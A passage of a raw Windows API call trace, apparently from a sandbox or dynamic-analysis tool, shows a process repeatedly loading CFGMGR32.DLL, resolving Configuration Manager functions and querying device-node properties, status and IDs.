[0235.231] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0235.231] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0235.231] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0235.231] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0235.231] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0235.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0235.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0235.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0235.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0235.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0235.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0235.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0235.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0235.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0235.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0235.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0235.234] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0235.234] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0235.234] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0235.234] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0235.234] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0235.235] malloc (_Size=0x18) returned 0x20abc281fc0 [0235.235] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x26, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0235.235] malloc (_Size=0x48) returned 0x20abc27cb20 [0235.235] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x47f9732d, dwHighDateTime=0x1d9eb0c)) [0235.236] SetEvent (hEvent=0x248) returned 1 [0235.241] malloc (_Size=0xd8) returned 0x20abc284e70 [0235.241] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0235.242] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0235.242] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0235.242] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0235.242] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0235.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0235.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0235.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0235.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0235.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0235.243] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0235.244] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0235.244] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0235.244] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0235.244] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0235.244] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0235.245] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0235.245] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0235.245] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0235.245] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0235.245] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0235.245] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0235.246] malloc (_Size=0x18) returned 0x20abc281fa0 [0235.246] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x26, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0235.247] malloc (_Size=0x48) returned 0x20abc27cb20 [0235.247] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x47fbd76e, dwHighDateTime=0x1d9eb0c)) [0235.247] SetEvent (hEvent=0x248) returned 1 [0235.251] malloc (_Size=0xd8) returned 0x20abc284e70 [0235.251] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0235.252] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0235.252] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0235.252] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0235.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0235.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0235.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0235.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0235.253] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0235.254] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0235.254] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0235.254] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0235.254] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0235.254] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0235.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0235.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0235.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0235.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0235.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0235.255] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0235.256] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0235.256] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0235.358] malloc (_Size=0x18) returned 0x20abc281f60 [0235.358] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x26, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0235.359] malloc (_Size=0x48) returned 0x20abc27cf80 [0235.359] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x480c878c, dwHighDateTime=0x1d9eb0c)) [0235.359] SetEvent (hEvent=0x248) returned 1 [0235.367] malloc (_Size=0xd8) returned 0x20abc284e70 [0235.367] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0235.368] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0235.368] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0235.368] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0235.368] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0235.368] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0235.368] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0235.369] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0235.369] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0235.369] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0235.369] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0235.369] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0235.370] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0235.370] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0235.370] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0235.370] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0235.370] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0235.371] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0235.371] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0235.371] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0235.372] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0235.372] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0235.372] malloc (_Size=0x18) returned 0x20abc282060 [0235.373] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x26, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0235.377] malloc (_Size=0x48) returned 0x20abc27cb20 [0235.377] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x480fbce7, dwHighDateTime=0x1d9eb0c)) [0235.377] SetEvent (hEvent=0x248) returned 1 [0235.381] malloc (_Size=0xd8) returned 0x20abc284e70 [0235.382] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0235.382] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0235.382] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0235.382] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0235.383] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0235.383] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0235.383] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0235.383] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0235.383] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0235.383] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0235.384] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0235.384] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0235.384] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0235.384] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0235.384] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0235.385] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0235.385] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0235.385] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0235.385] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0235.385] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0235.386] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0235.386] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0235.386] malloc (_Size=0x18) returned 0x20abc281ec0 [0235.386] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x26, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0235.387] malloc (_Size=0x48) returned 0x20abc27cb20 [0235.387] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x48114a75, dwHighDateTime=0x1d9eb0c)) [0235.387] SetEvent (hEvent=0x248) returned 1 [0235.393] malloc (_Size=0xd8) returned 0x20abc284e70 [0235.393] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0235.393] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0235.393] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0235.394] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0235.394] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0235.394] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0235.394] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0235.394] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0235.394] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0235.395] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0235.395] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0235.395] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0235.395] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0235.395] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0235.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0235.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0235.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0235.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0235.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0235.396] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0235.397] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0235.397] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0235.397] malloc (_Size=0x18) returned 0x20abc282040 [0235.398] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x26, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0235.398] malloc (_Size=0x48) returned 0x20abc27cb20 [0235.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x4813af51, dwHighDateTime=0x1d9eb0c)) [0235.398] SetEvent (hEvent=0x248) returned 1 [0235.492] malloc (_Size=0xd8) returned 0x20abc284e70 [0235.492] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0235.493] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0235.493] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0235.493] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0235.493] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0235.493] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0235.494] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0235.494] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0235.494] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0235.494] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0235.495] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0235.495] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0235.495] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0235.495] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0235.495] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0235.496] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0235.496] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0235.496] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0235.496] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0235.496] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0235.497] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0235.497] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0235.497] malloc (_Size=0x18) returned 0x20abc281dc0 [0235.498] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x26, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0235.498] malloc (_Size=0x48) returned 0x20abc27cb20 [0235.498] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4821fbf2, dwHighDateTime=0x1d9eb0c)) [0235.498] SetEvent (hEvent=0x248) returned 1 [0235.505] malloc (_Size=0xd8) returned 0x20abc284e70 [0235.505] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0235.506] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0235.506] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0235.506] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0235.506] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0235.506] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0235.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0235.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0235.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0235.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0235.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0235.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0235.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0235.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0235.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0235.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0235.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0235.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0235.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0235.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0235.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0235.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0235.510] malloc (_Size=0x18) returned 0x20abc281f80 [0235.510] CM_Get_Device_IDA (in: dnDevInst=0x27, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\UMBUS\\0000") returned 0x0 [0235.510] malloc (_Size=0x48) returned 0x20abc27cb20 [0235.510] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x48245e65, dwHighDateTime=0x1d9eb0c)) [0235.511] SetEvent (hEvent=0x248) returned 1 [0235.517] malloc (_Size=0xd8) returned 0x20abc284e70 [0235.517] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0235.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0235.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0235.518] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0235.518] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0235.518] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") 